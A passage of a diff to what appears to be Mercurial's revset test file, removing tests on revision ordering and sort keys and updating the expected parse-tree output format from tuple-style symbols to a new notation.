-  8
-  9
-  2147483647
-
-  $ log 'outgoing()'
-  8
-  9
-  $ log 'outgoing("../remote1")'
-  8
-  9
-  $ log 'outgoing("../remote2")'
-  3
-  5
-  6
-  7
-  9
-  $ log 'p1(merge())'
-  5
-  $ log 'p2(merge())'
-  4
-  $ log 'parents(merge())'
-  4
-  5
-  $ log 'p1(branchpoint())'
-  0
-  2
-  $ log 'p2(branchpoint())'
-  $ log 'parents(branchpoint())'
-  0
-  2
-  $ log 'removes(a)'
-  2
-  6
-  $ log 'roots(all())'
-  0
-  $ log 'reverse(2 or 3 or 4 or 5)'
-  5
-  4
-  3
-  2
-  $ log 'reverse(all())'
-  9
-  8
-  7
-  6
-  5
-  4
-  3
-  2
-  1
-  0
-  $ log 'reverse(all()) & filelog(b)'
-  4
-  1
-  $ log 'rev(5)'
-  5
-  $ log 'sort(limit(reverse(all()), 3))'
-  7
-  8
-  9
-  $ log 'sort(2 or 3 or 4 or 5, date)'
-  2
-  3
-  5
-  4
-  $ log 'tagged()'
-  6
-  $ log 'tag()'
-  6
-  $ log 'tag(1.0)'
-  6
-  $ log 'tag(tip)'
-  9
-
-Test order of revisions in compound expression
-----------------------------------------------
-
-The general rule is that only the outermost (= leftmost) predicate can
-enforce its ordering requirement. The other predicates should take the
-ordering defined by it.
-
- 'A & B' should follow the order of 'A':
-
-  $ log '2:0 & 0::2'
-  2
-  1
-  0
-
- 'head()' combines sets in right order:
-
-  $ log '2:0 & head()'
-  2
-  1
-  0
-
- 'x:y' takes ordering parameter into account:
-
-  $ try -p optimized '3:0 & 0:3 & not 2:1'
-  * optimized:
-  (difference
-    (and
-      (range
-        ('symbol', '3')
-        ('symbol', '0')
-        define)
-      (range
-        ('symbol', '0')
-        ('symbol', '3')
-        follow)
-      define)
-    (range
-      ('symbol', '2')
-      ('symbol', '1')
-      any)
-    define)
-  * set:
-  <filteredset
-    <filteredset
-      <spanset- 0:4>,
-      <spanset+ 0:4>>,
-    <not
-      <spanset+ 1:3>>>
-  3
-  0
-
- 'a + b', which is optimized to '_list(a b)', should take the ordering of
- the left expression:
-
-  $ try --optimize '2:0 & (0 + 1 + 2)'
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (group
-      (or
-        (list
-          ('symbol', '0')
-          ('symbol', '1')
-          ('symbol', '2')))))
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (func
-      ('symbol', '_list')
-      ('string', '0\x001\x002')
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [0, 1, 2]>>
-  2
-  1
-  0
-
- 'A + B' should take the ordering of the left expression:
-
-  $ try --optimize '2:0 & (0:1 + 2)'
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (group
-      (or
-        (list
-          (range
-            ('symbol', '0')
-            ('symbol', '1'))
-          ('symbol', '2')))))
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (or
-      (list
-        ('symbol', '2')
-        (range
-          ('symbol', '0')
-          ('symbol', '1')
-          follow))
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <addset
-      <baseset [2]>,
-      <spanset+ 0:2>>>
-  2
-  1
-  0
-
- '_intlist(a b)' should behave like 'a + b':
-
-  $ trylist --optimize '2:0 & %ld' 0 1 2
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (func
-      ('symbol', '_intlist')
-      ('string', '0\x001\x002')))
-  * optimized:
-  (and
-    (func
-      ('symbol', '_intlist')
-      ('string', '0\x001\x002')
-      follow)
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset+ [0, 1, 2]>>
-  2
-  1
-  0
-
-  $ trylist --optimize '%ld & 2:0' 0 2 1
-  (and
-    (func
-      ('symbol', '_intlist')
-      ('string', '0\x002\x001'))
-    (range
-      ('symbol', '2')
-      ('symbol', '0')))
-  * optimized:
-  (and
-    (func
-      ('symbol', '_intlist')
-      ('string', '0\x002\x001')
-      define)
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      follow)
-    define)
-  * set:
-  <filteredset
-    <baseset [0, 2, 1]>,
-    <spanset- 0:3>>
-  0
-  2
-  1
-
- '_hexlist(a b)' should behave like 'a + b':
-
-  $ trylist --optimize --bin '2:0 & %ln' `hg log -T '{node} ' -r0:2`
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (func
-      ('symbol', '_hexlist')
-      ('string', '*'))) (glob)
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (func
-      ('symbol', '_hexlist')
-      ('string', '*') (glob)
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [0, 1, 2]>>
-  2
-  1
-  0
-
-  $ trylist --optimize --bin '%ln & 2:0' `hg log -T '{node} ' -r0+2+1`
-  (and
-    (func
-      ('symbol', '_hexlist')
-      ('string', '*')) (glob)
-    (range
-      ('symbol', '2')
-      ('symbol', '0')))
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      follow)
-    (func
-      ('symbol', '_hexlist')
-      ('string', '*') (glob)
-      define)
-    define)
-  * set:
-  <baseset [0, 2, 1]>
-  0
-  2
-  1
-
- '_list' should not go through the slow follow-order path if order doesn't
- matter:
-
-  $ try -p optimized '2:0 & not (0 + 1)'
-  * optimized:
-  (difference
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (func
-      ('symbol', '_list')
-      ('string', '0\x001')
-      any)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <not
-      <baseset [0, 1]>>>
-  2
-
-  $ try -p optimized '2:0 & not (0:2 & (0 + 1))'
-  * optimized:
-  (difference
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (and
-      (range
-        ('symbol', '0')
-        ('symbol', '2')
-        any)
-      (func
-        ('symbol', '_list')
-        ('string', '0\x001')
-        any)
-      any)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <not
-      <baseset [0, 1]>>>
-  2
-
- because 'present()' does nothing other than suppressing an error, the
- ordering requirement should be forwarded to the nested expression
-
-  $ try -p optimized 'present(2 + 0 + 1)'
-  * optimized:
-  (func
-    ('symbol', 'present')
-    (func
-      ('symbol', '_list')
-      ('string', '2\x000\x001')
-      define)
-    define)
-  * set:
-  <baseset [2, 0, 1]>
-  2
-  0
-  1
-
-  $ try --optimize '2:0 & present(0 + 1 + 2)'
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (func
-      ('symbol', 'present')
-      (or
-        (list
-          ('symbol', '0')
-          ('symbol', '1')
-          ('symbol', '2')))))
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (func
-      ('symbol', 'present')
-      (func
-        ('symbol', '_list')
-        ('string', '0\x001\x002')
-        follow)
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [0, 1, 2]>>
-  2
-  1
-  0
-
- 'reverse()' should take effect only if it is the outermost expression:
-
-  $ try --optimize '0:2 & reverse(all())'
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2'))
-    (func
-      ('symbol', 'reverse')
-      (func
-        ('symbol', 'all')
-        None)))
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
-    (func
-      ('symbol', 'reverse')
-      (func
-        ('symbol', 'all')
-        None
-        define)
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <spanset+ 0:10>>
-  0
-  1
-  2
-
- 'sort()' should take effect only if it is the outermost expression:
-
-  $ try --optimize '0:2 & sort(all(), -rev)'
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2'))
-    (func
-      ('symbol', 'sort')
-      (list
-        (func
-          ('symbol', 'all')
-          None)
-        (negate
-          ('symbol', 'rev')))))
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
-    (func
-      ('symbol', 'sort')
-      (list
-        (func
-          ('symbol', 'all')
-          None
-          define)
-        ('string', '-rev'))
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <spanset+ 0:10>>
-  0
-  1
-  2
-
- invalid argument passed to noop sort():
-
-  $ log '0:2 & sort()'
-  hg: parse error: sort requires one or two arguments
-  [255]
-  $ log '0:2 & sort(all(), -invalid)'
-  hg: parse error: unknown sort key '-invalid'
-  [255]
-
- for 'A & f(B)', 'B' should not be affected by the order of 'A':
-
-  $ try --optimize '2:0 & first(1 + 0 + 2)'
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (func
-      ('symbol', 'first')
-      (or
-        (list
-          ('symbol', '1')
-          ('symbol', '0')
-          ('symbol', '2')))))
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (func
-      ('symbol', 'first')
-      (func
-        ('symbol', '_list')
-        ('string', '1\x000\x002')
-        define)
-      follow)
-    define)
-  * set:
-  <filteredset
-    <baseset [1]>,
-    <spanset- 0:3>>
-  1
-
-  $ try --optimize '2:0 & not last(0 + 2 + 1)'
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (not
-      (func
-        ('symbol', 'last')
-        (or
-          (list
-            ('symbol', '0')
-            ('symbol', '2')
-            ('symbol', '1'))))))
-  * optimized:
-  (difference
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (func
-      ('symbol', 'last')
-      (func
-        ('symbol', '_list')
-        ('string', '0\x002\x001')
-        define)
-      any)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <not
-      <baseset [1]>>>
-  2
-  0
-
- for 'A & (op)(B)', 'B' should not be affected by the order of 'A':
-
-  $ try --optimize '2:0 & (1 + 0 + 2):(0 + 2 + 1)'
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (range
-      (group
-        (or
-          (list
-            ('symbol', '1')
-            ('symbol', '0')
-            ('symbol', '2'))))
-      (group
-        (or
-          (list
-            ('symbol', '0')
-            ('symbol', '2')
-            ('symbol', '1'))))))
-  * optimized:
-  (and
-    (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    (range
-      (func
-        ('symbol', '_list')
-        ('string', '1\x000\x002')
-        define)
-      (func
-        ('symbol', '_list')
-        ('string', '0\x002\x001')
-        define)
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <baseset [1]>>
-  1
-
- 'A & B' can be rewritten as 'B & A' by weight, but that's fine as long as
- the ordering rule is determined before the rewrite; in this example,
- 'B' follows the order of the initial set, which is the same order as 'A'
- since 'A' also follows the order:
-
-  $ try --optimize 'contains("glob:*") & (2 + 0 + 1)'
-  (and
-    (func
-      ('symbol', 'contains')
-      ('string', 'glob:*'))
-    (group
-      (or
-        (list
-          ('symbol', '2')
-          ('symbol', '0')
-          ('symbol', '1')))))
-  * optimized:
-  (and
-    (func
-      ('symbol', '_list')
-      ('string', '2\x000\x001')
-      follow)
-    (func
-      ('symbol', 'contains')
-      ('string', 'glob:*')
-      define)
-    define)
-  * set:
-  <filteredset
-    <baseset+ [0, 1, 2]>,
-    <contains 'glob:*'>>
-  0
-  1
-  2
-
- and in this example, 'A & B' is rewritten as 'B & A', but 'A' overrides
- the order appropriately:
-
-  $ try --optimize 'reverse(contains("glob:*")) & (0 + 2 + 1)'
-  (and
-    (func
-      ('symbol', 'reverse')
-      (func
-        ('symbol', 'contains')
-        ('string', 'glob:*')))
-    (group
-      (or
-        (list
-          ('symbol', '0')
-          ('symbol', '2')
-          ('symbol', '1')))))
-  * optimized:
-  (and
-    (func
-      ('symbol', '_list')
-      ('string', '0\x002\x001')
-      follow)
-    (func
-      ('symbol', 'reverse')
-      (func
-        ('symbol', 'contains')
-        ('string', 'glob:*')
-        define)
-      define)
-    define)
-  * set:
-  <filteredset
-    <baseset- [0, 1, 2]>,
-    <contains 'glob:*'>>
-  2
-  1
-  0
-
- 'A + B' can be rewritten to 'B + A' by weight only when the order doesn't
- matter (e.g. 'X & (A + B)' can be 'X & (B + A)', but '(A + B) & X' can't):
-
-  $ try -p optimized '0:2 & (reverse(contains("a")) + 2)'
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
-    (or
-      (list
-        ('symbol', '2')
-        (func
-          ('symbol', 'reverse')
-          (func
-            ('symbol', 'contains')
-            ('string', 'a')
-            define)
-          follow))
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <addset
-      <baseset [2]>,
-      <filteredset
-        <fullreposet+ 0:10>,
-        <contains 'a'>>>>
-  0
-  1
-  2
-
-  $ try -p optimized '(reverse(contains("a")) + 2) & 0:2'
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      follow)
-    (or
-      (list
-        (func
-          ('symbol', 'reverse')
-          (func
-            ('symbol', 'contains')
-            ('string', 'a')
-            define)
-          define)
-        ('symbol', '2'))
-      define)
-    define)
-  * set:
-  <addset
-    <filteredset
-      <spanset- 0:3>,
-      <contains 'a'>>,
-    <baseset [2]>>
-  1
-  0
-  2
-
-test sort revset
---------------------------------------------
-
-test when adding two unordered revsets
-
-  $ log 'sort(keyword(issue) or modifies(b))'
-  4
-  6
-
-test when sorting a reversed collection in the same way it is
-
-  $ log 'sort(reverse(all()), -rev)'
-  9
-  8
-  7
-  6
-  5
-  4
-  3
-  2
-  1
-  0
-
-test when sorting a reversed collection
-
-  $ log 'sort(reverse(all()), rev)'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-
-
-test sorting two sorted collections in different orders
-
-  $ log 'sort(outgoing() or reverse(removes(a)), rev)'
-  2
-  6
-  8
-  9
-
-test sorting two sorted collections in different orders backwards
-
-  $ log 'sort(outgoing() or reverse(removes(a)), -rev)'
-  9
-  8
-  6
-  2
-
-test empty sort key which is noop
-
-  $ log 'sort(0 + 2 + 1, "")'
-  0
-  2
-  1
-
-test invalid sort keys
-
-  $ log 'sort(all(), -invalid)'
-  hg: parse error: unknown sort key '-invalid'
-  [255]
-
-  $ cd ..
-
-test sorting by multiple keys including variable-length strings
-
-  $ hg init sorting
-  $ cd sorting
-  $ cat <<EOF >> .hg/hgrc
-  > [ui]
-  > logtemplate = '{rev} {branch|p5}{desc|p5}{author|p5}{date|hgdate}\n'
-  > [templatealias]
-  > p5(s) = pad(s, 5)
-  > EOF
-  $ hg branch -qf b12
-  $ hg ci -m m111 -u u112 -d '111 10800'
-  $ hg branch -qf b11
-  $ hg ci -m m12 -u u111 -d '112 7200'
-  $ hg branch -qf b111
-  $ hg ci -m m11 -u u12 -d '111 3600'
-  $ hg branch -qf b112
-  $ hg ci -m m111 -u u11 -d '120 0'
-  $ hg branch -qf b111
-  $ hg ci -m m112 -u u111 -d '110 14400'
-  created new head
-
- compare revisions (has fast path):
-
-  $ hg log -r 'sort(all(), rev)'
-  0 b12  m111 u112 111 10800
-  1 b11  m12  u111 112 7200
-  2 b111 m11  u12  111 3600
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-
-  $ hg log -r 'sort(all(), -rev)'
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-
- compare variable-length strings (issue5218):
-
-  $ hg log -r 'sort(all(), branch)'
-  1 b11  m12  u111 112 7200
-  2 b111 m11  u12  111 3600
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  0 b12  m111 u112 111 10800
-
-  $ hg log -r 'sort(all(), -branch)'
-  0 b12  m111 u112 111 10800
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-  4 b111 m112 u111 110 14400
-  1 b11  m12  u111 112 7200
-
-  $ hg log -r 'sort(all(), desc)'
-  2 b111 m11  u12  111 3600
-  0 b12  m111 u112 111 10800
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-  1 b11  m12  u111 112 7200
-
-  $ hg log -r 'sort(all(), -desc)'
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  0 b12  m111 u112 111 10800
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(all(), user)'
-  3 b112 m111 u11  120 0
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(all(), -user)'
-  2 b111 m11  u12  111 3600
-  0 b12  m111 u112 111 10800
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-
- compare dates (tz offset should have no effect):
-
-  $ hg log -r 'sort(all(), date)'
-  4 b111 m112 u111 110 14400
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  3 b112 m111 u11  120 0
-
-  $ hg log -r 'sort(all(), -date)'
-  3 b112 m111 u11  120 0
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-  4 b111 m112 u111 110 14400
-
- be aware that 'sort(x, -k)' is not exactly the same as 'reverse(sort(x, k))'
- because '-k' reverses the comparison, not the list itself:
-
-  $ hg log -r 'sort(0 + 2, date)'
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(0 + 2, -date)'
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'reverse(sort(0 + 2, date))'
-  2 b111 m11  u12  111 3600
-  0 b12  m111 u112 111 10800
-
- sort by multiple keys:
-
-  $ hg log -r 'sort(all(), "branch -rev")'
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  2 b111 m11  u12  111 3600
-  3 b112 m111 u11  120 0
-  0 b12  m111 u112 111 10800
-
-  $ hg log -r 'sort(all(), "-desc -date")'
-  1 b11  m12  u111 112 7200
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
-  $ hg log -r 'sort(all(), "user -branch date rev")'
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-  2 b111 m11  u12  111 3600
-
- toposort prioritises graph branches
-
-  $ hg up 2
-  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ touch a
-  $ hg addremove
-  adding a
-  $ hg ci -m 't1' -u 'tu' -d '130 0'
-  created new head
-  $ echo 'a' >> a
-  $ hg ci -m 't2' -u 'tu' -d '130 0'
-  $ hg book book1
-  $ hg up 4
-  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
-  (leaving bookmark book1)
-  $ touch a
-  $ hg addremove
-  adding a
-  $ hg ci -m 't3' -u 'tu' -d '130 0'
-
-  $ hg log -r 'sort(all(), topo)'
-  7 b111 t3   tu   130 0
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  6 b111 t2   tu   130 0
-  5 b111 t1   tu   130 0
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-
-  $ hg log -r 'sort(all(), -topo)'
-  0 b12  m111 u112 111 10800
-  1 b11  m12  u111 112 7200
-  2 b111 m11  u12  111 3600
-  5 b111 t1   tu   130 0
-  6 b111 t2   tu   130 0
-  3 b112 m111 u11  120 0
-  4 b111 m112 u111 110 14400
-  7 b111 t3   tu   130 0
-
-  $ hg log -r 'sort(all(), topo, topo.firstbranch=book1)'
-  6 b111 t2   tu   130 0
-  5 b111 t1   tu   130 0
-  7 b111 t3   tu   130 0
-  4 b111 m112 u111 110 14400
-  3 b112 m111 u11  120 0
-  2 b111 m11  u12  111 3600
-  1 b11  m12  u111 112 7200
-  0 b12  m111 u112 111 10800
-
-topographical sorting can't be combined with other sort keys, and you can't
-use the topo.firstbranch option when topo sort is not active:
-
-  $ hg log -r 'sort(all(), "topo user")'
-  hg: parse error: topo sort order cannot be combined with other sort keys
-  [255]
-
-  $ hg log -r 'sort(all(), user, topo.firstbranch=book1)'
-  hg: parse error: topo.firstbranch can only be used when using the topo sort key
-  [255]
-
-topo.firstbranch should accept any kind of expressions:
-
-  $ hg log -r 'sort(0, topo, topo.firstbranch=(book1))'
-  0 b12  m111 u112 111 10800
-
-  $ cd ..
-  $ cd repo
-
 test subtracting something from an addset
 
   $ log '(outgoing() or removes(a)) - removes(a)'
@@ -2959,13 +142,13 @@
   (or
     (list
       (func
-        ('symbol', 'reverse')
+        (symbol 'reverse')
         (dagrange
-          ('symbol', '1')
-          ('symbol', '5')))
+          (symbol '1')
+          (symbol '5')))
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '4'))))
+        (symbol 'ancestors')
+        (symbol '4'))))
   * set:
   <addset
     <baseset- [1, 3, 5]>,
@@ -2978,17 +161,17 @@
   4
   $ try 'sort(ancestors(4) or reverse(1::5))'
   (func
-    ('symbol', 'sort')
+    (symbol 'sort')
     (or
       (list
         (func
-          ('symbol', 'ancestors')
-          ('symbol', '4'))
+          (symbol 'ancestors')
+          (symbol '4'))
         (func
-          ('symbol', 'reverse')
+          (symbol 'reverse')
           (dagrange
-            ('symbol', '1')
-            ('symbol', '5'))))))
+            (symbol '1')
+            (symbol '5'))))))
   * set:
   <addset+
     <generatorset+>,
@@ -3005,19 +188,18 @@
   $ try --optimize '0|(1)|"2"|-2|tip|null'
   (or
     (list
-      ('symbol', '0')
+      (symbol '0')
       (group
-        ('symbol', '1'))
-      ('string', '2')
+        (symbol '1'))
+      (string '2')
       (negate
-        ('symbol', '2'))
-      ('symbol', 'tip')
-      ('symbol', 'null')))
+        (symbol '2'))
+      (symbol 'tip')
+      (symbol 'null')))
   * optimized:
   (func
-    ('symbol', '_list')
-    ('string', '0\x001\x002\x00-2\x00tip\x00null')
-    define)
+    (symbol '_list')
+    (string '0\x001\x002\x00-2\x00tip\x00null'))
   * set:
   <baseset [0, 1, 2, 8, 9, -1]>
   0
@@ -3030,23 +212,20 @@
   $ try --optimize '0|1|2:3'
   (or
     (list
-      ('symbol', '0')
-      ('symbol', '1')
+      (symbol '0')
+      (symbol '1')
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * optimized:
   (or
     (list
       (func
-        ('symbol', '_list')
-        ('string', '0\x001')
-        define)
+        (symbol '_list')
+        (string '0\x001'))
       (range
-        ('symbol', '2')
-        ('symbol', '3')
-        define))
-    define)
+        (symbol '2')
+        (symbol '3'))))
   * set:
   <addset
     <baseset [0, 1]>,
@@ -3060,31 +239,27 @@
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      ('symbol', '2')
+        (symbol '0')
+        (symbol '1'))
+      (symbol '2')
       (range
-        ('symbol', '3')
-        ('symbol', '4'))
-      ('symbol', '5')
-      ('symbol', '6')))
+        (symbol '3')
+        (symbol '4'))
+      (symbol '5')
+      (symbol '6')))
   * optimized:
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1')
-        define)
-      ('symbol', '2')
+        (symbol '0')
+        (symbol '1'))
+      (symbol '2')
       (range
-        ('symbol', '3')
-        ('symbol', '4')
-        define)
+        (symbol '3')
+        (symbol '4'))
       (func
-        ('symbol', '_list')
-        ('string', '5\x006')
-        define))
-    define)
+        (symbol '_list')
+        (string '5\x006'))))
   * set:
   <addset
     <addset
@@ -3107,12 +282,11 @@
   * analyzed:
   (or
     (list
-      ('symbol', '0')
-      ('symbol', '1')
-      ('symbol', '2')
-      ('symbol', '3')
-      ('symbol', '4'))
-    define)
+      (symbol '0')
+      (symbol '1')
+      (symbol '2')
+      (symbol '3')
+      (symbol '4')))
   * set:
   <addset
     <addset
@@ -3176,9 +350,9 @@
   [255]
   $ try '0,1,2'
   (list
-    ('symbol', '0')
-    ('symbol', '1')
-    ('symbol', '2'))
+    (symbol '0')
+    (symbol '1')
+    (symbol '2'))
   hg: parse error: can't use a list in this context
   (see hg help "revsets.x or y")
   [255]
@@ -3189,20 +363,20 @@
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
+        (symbol '0')
+        (symbol '1'))
       (range
-        ('symbol', '1')
-        ('symbol', '2'))
+        (symbol '1')
+        (symbol '2'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))
+        (symbol '2')
+        (symbol '3'))
       (range
-        ('symbol', '3')
-        ('symbol', '4'))
+        (symbol '3')
+        (symbol '4'))
       (range
-        ('symbol', '4')
-        ('symbol', '5'))))
+        (symbol '4')
+        (symbol '5'))))
   * set:
   <addset
     <addset
@@ -3225,15 +399,14 @@
   $ try --optimize '0|()'
   (or
     (list
-      ('symbol', '0')
+      (symbol '0')
       (group
         None)))
   * optimized:
   (or
     (list
-      ('symbol', '0')
-      None)
-    define)
+      (symbol '0')
+      None))
   hg: parse error: missing argument
   [255]
 
@@ -3255,50 +428,47 @@
   $ try --optimize '::3 - ::1'
   (minus
     (dagrangepre
-      ('symbol', '3'))
+      (symbol '3'))
     (dagrangepre
-      ('symbol', '1')))
+      (symbol '1')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '3')
-      ('symbol', '1'))
-    define)
+      (symbol '3')
+      (symbol '1')))
   * set:
   <baseset+ [3]>
   3
   $ try --optimize 'ancestors(1) - ancestors(3)'
   (minus
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '1'))
+      (symbol 'ancestors')
+      (symbol '1'))
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '3')))
+      (symbol 'ancestors')
+      (symbol '3')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '1')
-      ('symbol', '3'))
-    define)
+      (symbol '1')
+      (symbol '3')))
   * set:
   <baseset+ []>
   $ try --optimize 'not ::2 and ::6'
   (and
     (not
       (dagrangepre
-        ('symbol', '2')))
+        (symbol '2')))
     (dagrangepre
-      ('symbol', '6')))
+      (symbol '6')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '6')
-      ('symbol', '2'))
-    define)
+      (symbol '6')
+      (symbol '2')))
   * set:
   <baseset+ [3, 4, 5, 6]>
   3
@@ -3308,19 +478,18 @@
   $ try --optimize 'ancestors(6) and not ancestors(4)'
   (and
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '6'))
+      (symbol 'ancestors')
+      (symbol '6'))
     (not
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '4'))))
+        (symbol 'ancestors')
+        (symbol '4'))))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '6')
-      ('symbol', '4'))
-    define)
+      (symbol '6')
+      (symbol '4')))
   * set:
   <baseset+ [3, 5, 6]>
   3
@@ -3332,17 +501,15 @@
   $ try --optimize '::1 and ()'
   (and
     (dagrangepre
-      ('symbol', '1'))
+      (symbol '1'))
     (group
       None))
   * optimized:
-  (and
-    None
+  (andsmally
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '1')
-      define)
-    define)
+      (symbol 'ancestors')
+      (symbol '1'))
+    None)
   hg: parse error: missing argument
   [255]
 
@@ -3352,16 +519,13 @@
   * optimized:
   (difference
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '6')
-      define)
+      (symbol 'ancestors')
+      (symbol '6'))
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (list
-        ('symbol', '4')
-        ('symbol', '1'))
-      any)
-    define)
+        (symbol '4')
+        (symbol '1'))))
   0
   1
   3
@@ -3371,16 +535,13 @@
   * optimized:
   (difference
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (list
-        ('symbol', '6')
-        ('symbol', '1'))
-      define)
+        (symbol '6')
+        (symbol '1')))
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '4')
-      any)
-    define)
+      (symbol 'ancestors')
+      (symbol '4')))
   5
   6
 
@@ -3391,18 +552,15 @@
   * optimized:
   (difference
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (keyvalue
-        ('symbol', 'set')
-        ('symbol', '6'))
-      define)
+        (symbol 'set')
+        (symbol '6')))
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (keyvalue
-        ('symbol', 'set')
-        ('symbol', '4'))
-      any)
-    define)
+        (symbol 'set')
+        (symbol '4'))))
   3
   5
   6
@@ -3685,10 +843,10 @@
   $ echo 'rs4(ARG1, ARGA, ARGB, ARG2) = reverse(sort(ARG1, ARG2))' >> .hg/hgrc
 
   $ try m
-  ('symbol', 'm')
+  (symbol 'm')
   * expanded:
   (func
-    ('symbol', 'merge')
+    (symbol 'merge')
     None)
   * set:
   <filteredset
@@ -3699,17 +857,17 @@
   $ HGPLAIN=1
   $ export HGPLAIN
   $ try m
-  ('symbol', 'm')
+  (symbol 'm')
   abort: unknown revision 'm'!
   [255]
 
   $ HGPLAINEXCEPT=revsetalias
   $ export HGPLAINEXCEPT
   $ try m
-  ('symbol', 'm')
+  (symbol 'm')
   * expanded:
   (func
-    ('symbol', 'merge')
+    (symbol 'merge')
     None)
   * set:
   <filteredset
@@ -3722,12 +880,12 @@
 
   $ try 'p2(.)'
   (func
-    ('symbol', 'p2')
